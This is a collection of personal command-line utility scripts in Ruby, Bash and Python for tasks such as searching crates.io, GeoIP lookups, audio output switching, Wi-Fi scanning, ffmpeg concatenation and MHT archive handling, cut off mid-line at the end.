"id": 53759, # "login": "epilys", # "name": "<NAME>", # "url": "https://github.com/epilys" # }, # "readme_path": "/api/v1/crates/bb/0.4.3/readme", # "updated_at": "2020-11-04T22:18:38.293968+00:00", # "yanked": false # }, # ... # ] # } response = curl_json(INFO_URL % name) versions = response["versions"].map do |v| fullname = v.dig("published_by", "name") user = v.dig("published_by", "login") { version: v["num"], date: nicedate(v["created_at"]), downloads: v["downloads"].commatize, size: v["crate_size"]&.commatize, user: (user && "#{user} (#{fullname})") } end r = response["crate"] name = r["name"] puts "<8>=== <11>#{name} <2>v<10>#{r["newest_version"]} <8>(<7>#{nicedate(r["updated_at"])}) <8>=====".colorize puts " https://crates.io/crates/#{name}".cyan puts height, width = STDOUT.winsize print_pair = proc do |field, value| next unless value print "<7>#{field}: ".colorize if value.size < -(field.size + 2) + width puts value.light_white else puts puts value.indent.light_white end end print_pair["description", r["description"]] print_pair["keywords", r["keywords"].join(", ")] print_pair["categories", r["categories"].join(", ")] print_pair["homepage", r["homepage"]] print_pair["repository", r["repository"]] puts puts "----------------------".grey puts " Previous releases:" puts "----------------------".grey versions.each do |v| o = "<2>v<10>#{v[:version]}<8>: <9>#{v[:date]} <8>(" o << "<12>#{v[:size]} <4>bytes, " if v[:size] o << "<11>#{v[:downloads]}<3> downloads<8>)" o << " => <7>by <15>#{v[:user]}" if v[:user] puts o.colorize end end def print_search_results(query, max_results=25) # { # "crates": [ # { # "badges": [ # # ], # "categories": null, # "created_at": "2019-08-25T10:54:06.138012+00:00", # "description": "clean simple fast process viewer", # "documentation": null, # "downloads": 2527, # "exact_match": true, # "homepage": "https://nessuent.xyz/bb.html", # "id": "bb", # "keywords": null, # "links": { # "owner_team": "/api/v1/crates/bb/owner_team", # "owner_user": "/api/v1/crates/bb/owner_user", # "owners": "/api/v1/crates/bb/owners", # "reverse_dependencies": "/api/v1/crates/bb/reverse_dependencies", # "version_downloads": "/api/v1/crates/bb/downloads", # "versions": "/api/v1/crates/bb/versions" # }, # "max_stable_version": "0.4.3", # "max_version": "0.4.3", # "name": "bb", # "newest_version": "0.4.3", # "recent_downloads": 123, # "repository": "https://github.com/epilys/bb.git", # "updated_at": "2020-11-04T22:18:38.293968+00:00", # "versions": null # }, # { # "badges": [ # # ], # "categories": null, # "created_at": "2018-05-03T19:37:04.793624+00:00", # "description": "Tool for aligning data in columns", # "documentation": null, # "downloads": 1241, # "exact_match": false, # "homepage": null, # "id": "tabulate", # "keywords": null, # "links": { # "owner_team": "/api/v1/crates/tabulate/owner_team", # "owner_user": "/api/v1/crates/tabulate/owner_user", # "owners": "/api/v1/crates/tabulate/owners", # "reverse_dependencies": "/api/v1/crates/tabulate/reverse_dependencies", # "version_downloads": "/api/v1/crates/tabulate/downloads", # "versions": "/api/v1/crates/tabulate/versions" # }, # "max_stable_version": "1.1.1", # "max_version": "1.1.1", # "name": "tabulate", # "newest_version": "1.1.1", # "recent_downloads": 43, # "repository": "https://github.com/mbudde/tabulate", # "updated_at": "2020-02-19T09:48:59.628823+00:00", # "versions": null # }, # { # "badges": [ # # ], # "categories": null, # "created_at": "2018-12-10T06:32:30.336108+00:00", # "description": "Zero copy bytes chain based on crate `bytes`", # "documentation": "https://docs.rs/bytes_chain/", # "downloads": 545, # "exact_match": false, # "homepage": "https://github.com/ywzjackal/bytes_chain", # "id": "bytes_chain", # "keywords": null, # "links": { # "owner_team": "/api/v1/crates/bytes_chain/owner_team", # "owner_user": "/api/v1/crates/bytes_chain/owner_user", # "owners": "/api/v1/crates/bytes_chain/owners", # "reverse_dependencies": "/api/v1/crates/bytes_chain/reverse_dependencies", # "version_downloads": "/api/v1/crates/bytes_chain/downloads", # "versions": "/api/v1/crates/bytes_chain/versions" # }, # "max_stable_version": "1.1.8", # "max_version": "1.1.8", # "name": "bytes_chain", # "newest_version": "1.1.8", # "recent_downloads": 15, # "repository": "https://github.com/ywzjackal/bytes_chain", # "updated_at": "2018-12-10T07:25:50.838227+00:00", # "versions": null # }, # { # "badges": [ # # ], # "categories": null, # "created_at": "2020-11-18T18:05:31.301935+00:00", # "description": "A converter from images to nonogram clues", # "documentation": null, # "downloads": 188, # "exact_match": false, # "homepage": null, # "id": "convert-nonogram", # "keywords": null, # "links": { # "owner_team": "/api/v1/crates/convert-nonogram/owner_team", # "owner_user": "/api/v1/crates/convert-nonogram/owner_user", # "owners": "/api/v1/crates/convert-nonogram/owners", # "reverse_dependencies": "/api/v1/crates/convert-nonogram/reverse_dependencies", # "version_downloads": "/api/v1/crates/convert-nonogram/downloads", # "versions": "/api/v1/crates/convert-nonogram/versions" # }, # "max_stable_version": "0.1.2", # "max_version": "0.1.2", # "name": "convert-nonogram", # "newest_version": "0.1.2", # "recent_downloads": 27, # "repository": "https://github.com/paulstansifer/convert-nonogram", # "updated_at": "2020-11-24T13:49:37.791793+00:00", # "versions": null # }, # { # "badges": [ # # ], # "categories": null, # "created_at": "2015-05-25T16:20:12.691362+00:00", # "description": "Zip 3, 4, 5 or more Rust iterators", # "documentation": null, # "downloads": 2636, # "exact_match": false, # "homepage": "https://github.com/mdup/multizip", # "id": "multizip", # "keywords": null, # "links": { # "owner_team": "/api/v1/crates/multizip/owner_team", # "owner_user": "/api/v1/crates/multizip/owner_user", # "owners": "/api/v1/crates/multizip/owners", # "reverse_dependencies": "/api/v1/crates/multizip/reverse_dependencies", # "version_downloads": "/api/v1/crates/multizip/downloads", # "versions": "/api/v1/crates/multizip/versions" # }, # "max_stable_version": "0.1.0", # "max_version": "0.1.0", # "name": "multizip", # "newest_version": "0.1.0", # "recent_downloads": 41, # "repository": "https://github.com/mdup/multizip", # "updated_at": "2015-12-11T23:54:29.779751+00:00", # "versions": null # } # ], # "meta": { # "next_page": "?q=bb&per_page=5&page=2", # "prev_page": null, # "total": 106 # } # } rs = curl_json(SEARCH_URL % [query, max_results]) #rs = JSON.parse(File.read("/home/pip/cargos.json")) rs = rs["crates"].sort_by { |r| r["downloads"] } rs.each do |r| # id description downloads recent_downloads homepage repository newest_version updated_at updated_at = nicedate(r["updated_at"]) extra_urls = [r["homepage"], r["repository"]].compact.uniq puts ("<8>=== " + "<11>#{r["id"]} " + "<3>v#{r["newest_version"]}<8> (<7>#{updated_at}</7>), " + "<13>#{r["downloads"].commatize} <5>downloads <8>(#{r["recent_downloads"].commatize} recent)<7> " + "<8>====").colorize puts " <7>https://crates.io/crates/#{r["id"]}".colorize puts r["description"].indent.bright_white extra_urls.each { |url| puts " <3>#{url}".colorize } puts end end ################################################################### # Handle ARGV opts, args = ARGV.partition { |arg| arg[/^-\w/] } if (args.empty? and opts.empty?) or opts.include?("--help") help! exit 1 end if opts.include? "-i" args.each { |arg| print_crate_info(arg) } else query = args.join("+") puts "<8>* <7>Searching crates.io for <14>#{query.inspect}<7>...".colorize print_search_results(query) end <file_sep>#!/usr/bin/env ruby require 'epitools' cells = ARGF.each_line.map(&:strip) puts Term::Table.new(cells).by_columns<file_sep>#!/bin/bash wine ~/scripts/win32/two-pass-normalizer/Compressor.Console.exe "$@"<file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' require 'geoip' require 'oga' gem 'slop', "~> 3.6" require 'slop' ######################################################## CACHE_DIR = Path["~/.cache/geoip"] ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: geoip-ruby [options]" on "d", "data-dir", "the data dir (default: '/usr/share/GeoIP')" on "e", "ext", "the datafile ext", default: ".dat" on "D", "download", "Download the GeoIP data files to ~/.cache/geoip" on "u", "update", "update geoip databases" # on "a", "along", "desc" # on "b=", "blong", "desc", default: "" end args = ARGV ######################################################## class GeoIP @@types = Edition.constants.map { |c| [Edition.const_get(c), c] }.to_h @@type_methods = { :ASNUM => :asn, :CITY_REV1_V6 => :city, :CITY_REV1 => :city, :COUNTRY_V6 => :country, :COUNTRY => :country, :ASNUM_V6 => :asn, } def type @@types[@database_type] end def lookup(host) meth = @@type_methods[type] public_send meth, host end end ######################################################## def update! $stderr.puts "[*] Downloading latest GeoIP .dat files..." require 'open-uri' #geoip_uri = "http://mirrors.rit.edu/archlinux/extra/os/x86_64/" geoip_uri = "https://mirrors.edge.kernel.org/archlinux/extra/os/x86_64/" geoip_pattern = /geoip-database.+\.pkg\.tar\.(xz|gz|bz2|zst)$/ # eg: geoip-database-20180403-1-any.pkg.tar.xz doc = URI.open(geoip_uri) { |io| Oga.parse_html(io) } package_uris = doc.css("a"). select { |e| e["href"][geoip_pattern] }. map { |a| "#{geoip_uri}#{a["href"]}" }. map &:to_Path CACHE_DIR.mkcd do package_uris.each do |uri| p updating: uri system("wget", "-c", uri.to_s) end Path["*.pkg.tar.*"].each do |archive| case archive.ext when "zst" dec = "-Izstd" when "xz" dec = "-Ixz" when "gz" dec = "-Igzip" when "bz2" dec = "-Ibzip2" else raise "unknown format: #{archive.ext}" end system("tar", dec, "-xvf", archive) end end exit end ############################################### update! if opts.download? or opts.update? ############################################### # Search for 'data_dir's in this order: #{opts[data-dir]}, /usr/share/GeoIP, #{CACHE_DIR}/usr/share/GeoIP data_dir = (opts[:"data-dir"] || "/usr/share/GeoIP").to_Path unless data_dir.exists? data_dir = CACHE_DIR/"usr/share/GeoIP" unless data_dir.exists? update! #puts "Error: Couldn't find any GeoIP .dat files." #puts "Please specify the path manually, or use '--download' download and extract it to '~/.cache/geoip'" end end datfiles = (data_dir/"**/*#{opts[:ext]}") dbs = datfiles.map { |datfile| GeoIP.new(datfile) } results = [] if args.empty? puts "Error: must pass at least one hostname" puts puts opts exit 1 end args.each do |arg| dbs.each do |db| result = db.lookup(arg) results << [result.class, *result.to_h.map {|k,v| "#{k}: #{v}"}] end end # [GeoIP::ASN, "number: AS13335", "asn: Cloudflare Inc"] # [GeoIP::City, "request: 1.1.1.1", "ip: 1.1.1.1", "country_code2: AU", "country_code3: AUS", "country_name: Australia", "continent_code: OC", "region_name: 07", "city_name: Research", "postal_code: 3095", "latitude: -37.69999999999999", "longitude: 145.18329999999997", "dma_code: ", "area_code: ", "timezone: Australia/Victoria", "real_region_name: Victoria"] # [GeoIP::Country, "request: 1.1.1.1", "ip: 1.1.1.1", "country_code: 16", "country_code2: AU", "country_code3: AUS", "country_name: Australia", "continent_code: OC"] results.uniq.each do |klass, *infos| puts "#{klass}\n\t#{infos.join("\n\t")}" end <file_sep>#!/bin/bash rm-before -a "$@" <file_sep>#!/usr/bin/env ruby ################################################################################################# gem 'slop', "~> 3.6" require 'slop' require 'epitools' ################################################################################################# def parse_options opts = Slop.parse(help: true, strict: true) do banner "Usage: pulse-set-output [options] <audio device number(s) or part(s) of (its/their) name(s)>" on "v", "verbose", "Show verbose information about devices/apps/sinks" on "t", "toggle", "Toggle output of apps between two devices (requires 2 audio devices)" end [opts, ARGV] end ################################################################################################# # # Type: :error, :info, :video # def notify(type, title, body, time: 5) require 'cgi' puts "[#{type}] #{title}" puts " #{body}" time_in_ms = time * 1000 cmd = ["notify-send"] cmd << "--expire-time=#{time_in_ms}" cmd << "--app-name=play" cmd << "--icon=#{type}" cmd += [title, body].map {|s| CGI.escapeHTML s } system *cmd end ################################################################################################# # # Example output: # # [ # {...}, # {"index"=>"68", # "media.name"=>"Audacious", # "application.name"=>"Audacious", # "application.process.binary"=>"audacious", # "state"=>"RUNNING", # "sink"=>"1", # "volume"=>"front-left:", # "muted"=>"no", # "map"=>"front-left,front-right", # "module-stream-restore.id"=>"sink-input-by-application-name:Audacious"}, # {...}, # ] def apps @apps ||= `pacmd list-sink-inputs`.each_line.split_before(/ index: /).map do |lines| pairs = lines.map do |line| if line =~ /\s+(\S+): (\S+)/ [$1, $2] elsif line =~ /\s+(\S+) = "([^"]+)"/ [$1, $2] end end.compact pairs.empty? ? nil : pairs.to_h end.compact end ################################################################################################# # # Example output: # # {"default"=>true, # "index"=>"2", # "alsa.name"=>"ALC1150 Analog", # "alsa.id"=>"ALC1150 Analog", # "alsa.card_name"=>"HDA Intel PCH", # "alsa.long_card_name"=>"HDA Intel PCH at 0xdf340000 irq 131", # "alsa.driver_name"=>"snd_hda_intel", # "sysfs.path"=>"/devices/pci0000:00/0000:00:1f.3/sound/card0", # "device.vendor.name"=>"Intel Corporation", # "device.product.id"=>"a170", # "device.product.name"=> # "100 Series/C230 Series Chipset Family HD Audio Controller", # "device.string"=>"front:0", # "device.profile.name"=>"analog-stereo", # "device.profile.description"=>"Analog Stereo", # "device.description"=>"Built-in Audio Analog Stereo", # "alsa.mixer_name"=>"Realtek ALC1150", # ...} # def sinks @sinks ||= `pacmd list-sinks`.each_line.split_before(/ index: /).map do |lines| pairs = lines.map do |line| if line =~ /(\*?) index: (\d+)/ [ ["default", $1 == "*"], ["index", $2.to_i] ] elsif line =~ /\s+(\S+): (\S+)/ [$1, $2] elsif line =~ /\s+(\S+) = "([^"]+)"/ [$1, $2] end end.compact pairs.empty? ? nil : pairs.flatten.each_slice(2).to_h end.compact end ################################################################################################# # # Example output: # # [ # [1, "USB PnP Sound Device Analog Stereo"], # [2, "Built-in Audio Analog Stereo"] # ] def indexed_sink_names @sink_names ||= `pactl list sinks`. scan(/(?:Sink #(\d+)|Description: (.+))|alsa.driver_name = (.+)|device.vendor.name = (.+)/). flatten. compact. map { |s| s.gsub(/^"|"$/, '') }. # remove quotes from ends of string each_slice(4). map do |num, name, driver, vendor| [num.to_i, "#{vendor} #{name} (#{driver})"] end end def header(msg) width = (msg.size+4) puts puts "-" * width puts " #{msg}" puts "=" * width puts end ################################################################################################# opts, args = parse_options if opts.verbose? header "Sinks:" pp sinks header "Apps:" pp apps header "Devices:" pp indexed_sink_names puts puts end unless (opts.toggle? and args.size == 2) or (args.size == 1) # # Show help if the wrong number of args are given # puts opts puts puts "Purpose: Redirect all programs' audio to a specific device" puts puts "Available Devices:" indexed_sink_names.each do |num, name| puts " Device ##{num}: #{name}" end exit 1 else # # Translate commandline args to device indexes # selected = args.map do |arg| if arg.number? arg.to_i else # scan through the array of [num, name] pairs to see if the arg matches the name of a device, and if a match is found, return the index expr = /#{Regexp.escape(arg)}/i if found = indexed_sink_names.find { |num, name| name[expr] } found.first else nil end end end.compact # # Select a target device and store it in 'target' variable # if opts.toggle? # # Switch to whichever device isn't currently enabled (of the devices passed on the commandline) # sink_nums = sinks.map { |s| s["index"] } undefined = selected - sink_nums if undefined.any? puts "Error: You specified some sinks that don't exist: #{undefined.inspect}" exit 1 end default_sink = sinks.find { |sink| sink["default"] } target = (selected - [default_sink["index"]]).first else # # Switch to the first device passed on the commandline # target = selected.first end # # Grab the struct for the selected device # sink = sinks.find { |s| s["index"] == target } notify :info, "Switching Audio Output", "Sink ##{sink["index"]} (#{sink["device.description"]})" # # Switch all running applications' output to the selected device # apps.each do |app| next if app["driver"]["module-combine-sink"] puts " #{app["media.name"]}" system("pacmd", "move-sink-input", app["index"].to_s, sink["index"].to_s) end # # Set the device as the default # system("pacmd", "set-default-sink", sink["index"].to_s) end <file_sep>#!/bin/bash if which lshw > /dev/null; then lshw -class cpu -quiet 2> /dev/null else cat /proc/cpuinfo fi <file_sep>#!/bin/bash IN="$1" if [ "$2" == "" ]; then OUT="${IN%.enc}" else OUT="$2" fi >&2 echo "Decrypting '$IN' to '$OUT'..." openssl enc -d -aes-256-cbc -pbkdf2 -in "$IN" -out "$OUT" <file_sep>#!/bin/bash if ! which certutil > /dev/null then echo "'certutil' not found. Install libnss3-tools." fi if ! which openssl > /dev/null then echo "'openssl' not found. Install openssl." fi if [ "$1" == "" ]; then echo "usage:" echo " ssl-cert-import remote.host.name [port]" echo echo "Note: 'port' defaults to 443" else REMHOST=$1 REMPORT=${2:-443} exec 6>&1 exec > $REMHOST echo | openssl s_client -connect ${REMHOST}:${REMPORT} 2>&1 |sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' certutil -d sql:$HOME/.pki/nssdb -A -t 'CP,,' -n "$REMHOST" -i $REMHOST exec 1>&6 6>&- ssl-cert-list fi <file_sep>#!/bin/bash if which systemctl > /dev/null; then systemctl reboot else shutdown -r now fi <file_sep>#!/usr/bin/env ruby ######################################################## gem 'epitools'; require 'epitools' gem 'oga'; require 'oga' gem 'slop', "~> 3.6"; require 'slop' ######################################################## USER_AGENT = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/85 Version/11.1.1 Safari/605.1.15" ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: ddg [options] <query>" # on "a", "along", "desc" # on "b=", "blong", "desc", default: "" end args = ARGV ######################################################## def clean_link(tag) # //duckduckgo.com/l/?kh=-1&uddg=https%3A%2F%2Ftwitter.com%2Fdavidgraeber link = tag["href"] link = URI.parse(link).params["uddg"] if link[%r{duckduckgo\.com/l/.+uddg=}] link end def skip_link?(link) link = URI.parse link link.host == "duckduckgo.com" and link.path == "/y.js" and link.params["ad_provider"] end ######################################################## lesspipe(wrap: true) do |less| query = args.join("+") less.puts "<8>*</8> Searching for '<15>#{args.join(" ")}</15>'...".colorize url = "https://html.duckduckgo.com/html/?q=#{query}" io = curl_open(url, "User-Agent": USER_AGENT) doc = Oga.parse_html(io) less.puts if zc = doc.at_css(".zci-wrapper") title_tag = zc.at_css(".zci__heading a") snippet_tag = zc.at_css(".zci__result") snippet_tag.at_css("a").remove title = title_tag.text.strip link = clean_link(title_tag) snippet = snippet_tag.text.strip less.puts title.light_yellow less.puts link.indent(2).light_blue less.puts snippet.wrapdent(2) less.puts end doc.css(".result__body").each do |result| title_tag = result.at_css("h2.result__title a") snippet_tag = result.at_css("a.result__snippet") title = title_tag.text.strip link = clean_link(title_tag) snippet = snippet_tag&.text next if skip_link?(link) less.puts title.light_cyan less.puts link.indent(2).light_blue less.puts snippet.wrapdent(2) if snippet less.puts end end <file_sep>#!/usr/bin/env ruby require 'rubygems' require 'epitools' require 'pp' devs = `iwconfig 2> /dev/null`.lines.grep(/802\.11/).map{|l| l.split.first }.compact for dev in devs puts "-"*50 puts "Wifi device: #{dev}" puts "-"*50 puts if `ip link show #{dev}`["state DOWN"] system("ip", "link", "set", dev, "up") wasdown = true else wasdown = false end puts "* Scanning for access points..." data = `sudo iwlist #{dev} scan` #data = open("iwlist.txt").read puts results = data.lines.split_before(/Cell (\d+)/).map do |ap| result = {} for line in ap case line when /Address: (.+)/ result[:mac] = $1 when /Channel:(\d+)/ result[:channel] = $1.to_i when /ESSID:"([^\"]+)"/ result[:name] = $1 # when /Cell (\d+)/ # result[:cell] = $1.to_i when /Quality=([\d\/]+)\s+Signal level=(.+)/ quality, signal = $1, $2 result[:quality] = Ratio[*quality.split('/').map(&:to_i)] result[:signal] = signal.strip when /(WPA|WPA2|TKIP|PSK)/ result[:protocols] ||= [] result[:protocols] << $1 when /Encryption key:(on|off)/ result[:encrypted] = ($1 == "on") end end result[:protocols] && result[:protocols].uniq! result end.select(&:any?) # Lookup MAC addresses if File.exist? "#{__dir__}/oui" load "#{__dir__}/oui" unless db_exists? puts "NOTE: MAC address database doesn't exist. Please run 'oui -u'." puts else macs = results.map { |r| r[:mac] } lookup_macs(macs).zip(results).each do |oui, result| result[:oui] = oui.first if oui end end end for channel, results in results.group_by{|result| result[:channel]}.sort puts "Channel: #{channel}" for result in results.sort_by{|r| r[:quality] }.reverse params = [ result[:mac], result[:encrypted] ? "ENCRYPTED" : "OPEN", "sig:#{result[:signal]}", result[:protocols] ? "crypto:#{result[:protocols].join('/')}" : nil ].compact puts " #{result[:quality].percent} #{result[:name]} (#{params.join(', ')})" puts " #{result[:oui]}" if result[:oui] end puts end puts if wasdown system("ip", "link", "set", dev, "down") end end <file_sep>#!/bin/bash sudoifnotroot cpupower frequency-set -g performance <file_sep>#!/usr/bin/env ruby gem "slop", "~> 3.6" require 'slop' require 'epitools' def parse_options @opts = Slop.parse(help: true, strict: true) do banner 'Usage: ffmpeg-concat [options] <input videos...> [-o <output file>]' on 'o=', 'output', "The filename to write the concatenated videos to.\n (default: the input filenames joined with a '+')" on 's', 'sort', "Sort the input filenames (with proper numerical ordering)" on 'v', 'verbose', 'Show verbose output (ie: ffmpeg commandline)' end end opts = parse_options infiles = ARGV.map { |arg| Path.new(arg) } if infiles.empty? puts opts exit 1 end if opts[:output] outfile = opts[:output].to_Path else outfile = infiles.map(&:basename).join("+").to_Path.with(ext: infiles.first.ext) end if outfile.exists? if prompt("Overwrite #{outfile}?", "yN") == "n" puts "Aborting..." exit end end ## Rip it! Path.tmpfile do |tmp| if opts.sort? infiles = infiles.sort_numerically end tmp.open("w") do |io| lines = infiles.map { |infile| "file #{infile.to_s.shellescape}\n" } io.write lines.join end puts "Input files:" # infiles.each { |infile| puts " #{infile}" } puts File.read tmp puts puts "Output file:" puts " #{outfile}" puts cmd = [ "ffmpeg", "-y", "-hide_banner", # "-loglevel", "error", "-f", "concat", "-safe", "0", "-i", tmp, "-c", "copy", outfile ] p cmd if opts.verbose? system(*cmd) puts "Done!" end<file_sep>#!/usr/bin/env ruby input = open "#{__dir__}/README.yml" input.each_line do |line| undescribed_scripts = [] indent = line[/^\s*/] line.strip! next if line.empty? case indent when "" if undescribed_scripts.any? puts "undescribed scripts: #{undescd.map(&:first).join(", ")}" undescribed_scripts.clear end puts puts "=== #{line} ============================================" when " " if line =~ /^(\w+):\s*(.*)$/ name = $1 desc = $2 if desc.empty? undescribed_scripts << name else puts "#{name}" puts " #{desc}" end end when " " puts " #{desc}" end end <file_sep>#!/usr/bin/env ruby ##################################################### # TODOs: # - use https://m.mediawiki.org/wiki/API:REST_API ##################################################### require 'epitools/colored' require 'epitools/clitools' ##################################################### TMP_DIR = ENV["TMPDIR"] || "/tmp" CACHE_DIR = "#{TMP_DIR}/gemget" VALID_TYPES = [:text, :raw, :full] ##################################################### def error(msg, exitcode=1) $stderr.puts "<12>Error: <7>#{msg}".colorize exit exitcode end def cached_filename(url) require 'digest/sha1' "#{Digest::SHA1.hexdigest(url)}.cache" end def gemget(url, verbose=false) Dir.mkdir(CACHE_DIR) unless File.directory?(CACHE_DIR) cached_file = "#{CACHE_DIR}/#{cached_filename(url)}" if File.exist? cached_file $stderr.puts " <8>|_ <7>cached: #{cached_file}".colorize File.read cached_file else cmd = ["gemget", "-q", "-o", "-", url] p cmd if verbose result = IO.popen(cmd, &:read) File.write(cached_file, result) result end end def get(article, type=:text) unless VALID_TYPES.include? type error("Type '#{type}' is not valid (must be: #{VALID_TYPES.join(", ")})") end puts "<8>[<14>*<8>] <7>Retrieving: <15>#{article.inspect}".colorize url = "gemini://vault.transjovian.org/#{type}/en/#{article}" result = gemget(url) result.each_line.take(5).each do |line| if line =~ /^#REDIRECT (.+)/ redirect = $1.strip #puts "[!] Redirect: #{redirect}..." return get(redirect) end end result end ##################################################### EMPHASIS_COLORS = { "*" => :cyan, "**" => :light_blue, "***" => :light_cyan, :unknown => :light_red, } HEADER_COLORS = { "#" => :light_yellow, "##" => :yellow, "###" => :light_red, :unknown => :light_green, } def lazy_highlight(text) text = text.gsub(/(\*+)([^\*]+?)(\*+)/m) do |m| if $1.size == $3.size stars = $1 str = $2 color = EMPHASIS_COLORS[stars] || EMPHASIS_COLORS[:unknown] str.send(color) else m end end text = text.gsub(/^(#+) (.+)$/) do |m| header_level = $1 title = $2 color = HEADER_COLORS[header_level] || HEADER_COLORS[:unknown] "#{header_level} #{title.send(color)}" end text end ##################################################### unless which("gemget") error("Please install the 'gemget' binary") # or the 'ruby-net-text' gem") end args = ARGV if args.empty? puts "usage: wp <wikipedia article title>" else result = get(args.join(" ")) puts lazy_highlight(result) end =begin def try_to_require(gem) require(gem); true rescue LoadError false end if try_to_require("net/gemini") p using: :nettext def gemini_get(url, verbose=false) p url if verbose Net::Gemini.get(URI(url)) end else if which("gemget") p using: :gemget def gemini_get(url, verbose=false) cmd = ["gemget", "-q", "-o", "-", url] p cmd if verbose IO.popen(cmd, &:read) end else error("Please install the 'gemget' binary or the 'ruby-net-text' gem") end end def render_gmi(text) begin require 'html-renderer/ansi' require 'gmi2html' html = Gmi2html::Document.new(text).to_html puts HTMLRenderer::ANSI.render(html) rescue LoadError puts raw end end =end <file_sep>#!/bin/bash diff -u -N -r $1 $2 <file_sep>#!/usr/bin/env ruby require 'epitools' def print_stats(events, bytes) $stderr.print "\e[0E\e[0K |_ #{events.commatize} events (#{bytes.commatize} bytes)\e[0K" end logs = ARGV.map(&:to_Path) logs += Path["~/.go-ipfs/logs/*.log"] if logs.empty? counts = Hash.of_integers last_update = Time.now - 10 logs.each do |arg| $stderr.puts "* Analyzing: #{arg}" open(arg) do |f| events = 0 f.each_line do |l| events += 1 h = l.from_json if wants = h["wants"] wants.each do |w| counts[w["Key"]] += 1 end end dt = Time.now - last_update if dt > 1.0 print_stats(events, f.pos) last_update = Time.now end end print_stats(events, f.pos) puts end end counts.sort_by{|k,v| v}.each do |k,v| # puts "[#{v}] http://localhost:8080/ipfs/#{k}" puts "[#{v}] http://gateway.ipfs.io/ipfs/#{k}" end<file_sep>#!/usr/bin/env python3 # Encoding: UTF-8 ###################################################################################################### """mhtifier.py Un/packs an MHT "archive" into/from separate files, writing/reading them in directories to match their Content-Location. Uses part's Content-Location to name paths, or index.html for the root HTML. Content types will be assigned according to registry of MIME types mapping to file name extensions. History: * 2013-01-11: renamed mhtifier. * 2013-01-10: created mht2fs.py, and... done. """ ###################################################################################################### import base64 import email, email.message import mimetypes import os import quopri import sys import argparse ###################################################################################################### def error(msg, exite=None): print(msg, file=sys.stderr) if exit is not None: sys.exit(exit) def info(msg): print(msg) def parse_mhtml(file): parse = None with open(file, "rb") as mht: a = email.message_from_bytes(mht.read()) parts = a.get_payload() if not type(parts) is list: parts = [a] # dunno return parts def create_mhtml(dir, file): with open(args.mht, "wb") as mht: pass def extract_mhtml(file, dir): os.mkdir(dir) pass def list_mhtml(file): print(f"=== Listing {repr(file)} ===") print() for p in parse_mhtml(file): #??? cs = p.get_charset() # Expecting "utf-8" for root HTML, None for all other parts. ct = p.get_content_type() # String coerced to lower case of the form maintype/subtype, else get_default_type(). fp = p.get("content-location") or "index.html" # File path. Expecting root HTML is only part with no location. print(f"{ct} | {len(p.get_payload())} | {fp}") # Just do it. def main(): """Convert MHT file given as command line argument (or stdin?) to files and directories in the current directory. Usage: cd foo-unpacked/ mht2fs.py ../foo.mht """ parser = argparse.ArgumentParser(description="Extract MHT archive into new directory.") parser.add_argument("mht", metavar="MHT", help="MHTML file") parser.add_argument("-d", "--directory", action="store_const", const=".", metavar="DIR", help="Create this directory to store parts in") parser.add_argument("-c", "--create", action="store_true", help="Create an MHTML file from a directory") parser.add_argument("-x", "--extract", action="store_true", help="Extract an MHTML's contents to a directory") parser.add_argument("-l", "--list", action="store_true", help="List an MHTML file's contents") parser.add_argument("-v", "--verbose", action="store_true") parser.add_argument("-q", "--quiet", action="store_true") args = parser.parse_args() # --help is built-in. # only allow one of create/extract/list to be passed mut_excl = [args.create, args.extract, args.list] if len([x for x in mut_excl if x is True]) != 1: error("You must pick *one* of --list, --create, or --extract", exit=1) # list the archive if args.list: list_mhtml(args.mht) sys.exit(0) if args.create and os.path.exists(args.mht): error("MHT file exists, won't overwrite.", exit=2) if args.extract: os.mkdir(args.d) os.chdir(args.d) # Un/pack? if args.extract: # Read entire MHT archive -- it's a multipart(/related) message. a = email.message_from_bytes(mht.read()) # Parser is "conducive to incremental parsing of email messages, such as would be necessary when reading the text of an email message from a source that can block", so I guess it's more efficient to have it read stdin directly, rather than buffering parts = a.get_payload() # Multiple parts, usually? if not type(parts) is list: parts = [a] # Single 'str' part, so convert to list. # Save all parts to files. for p in parts: # walk() for a tree, but I'm guessing MHT is never nested? #??? cs = p.get_charset() # Expecting "utf-8" for root HTML, None for all other parts. ct = p.get_content_type() # String coerced to lower case of the form maintype/subtype, else get_default_type(). fp = p.get("content-location") or "index.html" # File path. Expecting root HTML is only part with no location. if args.verbose: sys.stderr.write("Writing %s to %s, %d bytes...\n" % (ct, fp, len(p.get_payload()))) # Create directories as necessary. if os.path.dirname(fp): os.makedirs(os.path.dirname(fp), exist_ok=True) # Save part's body to a file. open(fp, "wb").write(p.get_payload(decode=True)) if not args.quiet: sys.stderr.write("Done.\nUnpacked %d files.\n" % (len(parts))) else: if not args.quiet: sys.stderr.write("Packing...\n") # Create archive as multipart message. a = email.message.Message() a["MIME-Version"] = "1.0" a.add_header("Content-Type", "multipart/related", type="text/html") # Walk current directory. for (root, _, files) in os.walk("."): # Create message part from each file and attach them to archive. for f in files: p = os.path.join(root, f).lstrip("./") m = email.message.Message() # Encode and set type of part. t = mimetypes.guess_type(f)[0] if t: m["Content-Type"] = t if args.verbose: sys.stderr.write("Reading %s as %s...\n" % (p, t)) if t and t.startswith("text/"): m["Content-Transfer-Encoding"] = "quoted-printable" m.set_payload(quopri.encodestring(open(p, "rt").read().encode("utf-8")).decode("ascii")) #??? WTF? else: m["Content-Transfer-Encoding"] = "base64" m.set_payload(base64.b64encode(open(p, "rb").read()).decode("ascii")) #??? My editor, Geany, suffocates, I think, when needs to wrap these long lines? # Only set charset for index.html to UTF-8, and no location. if f == "index.html": m.add_header("Content-Type", "text/html", charset="utf-8") #??? m.set_charset("utf-8") else: m["Content-Location"] = p a.attach(m) # Write MHT file. #??? verify index.html is present!? mht.write(bytes(a.as_string(unixfrom=False), "utf-8")) # Not an mbox file, so we don't need to mangle "From " lines, I guess? if not args.quiet: sys.stderr.write("Done.\nPacked %d files.\n" % (len(a.get_payload()))) if __name__ == "__main__": main() # Kindda useless if we're not using doctest or anything? <file_sep>#!/usr/bin/env ruby require 'epitools' require 'open3' missing_binaries = false # check for required binaries %w[wmctrl dmenu].each do |thing| unless Path.which thing puts "Missing command: #{thing} (you must install this package first)" missing_binaries = true end end exit if missing_binaries # list windows wins = WM.windows .sort_by { 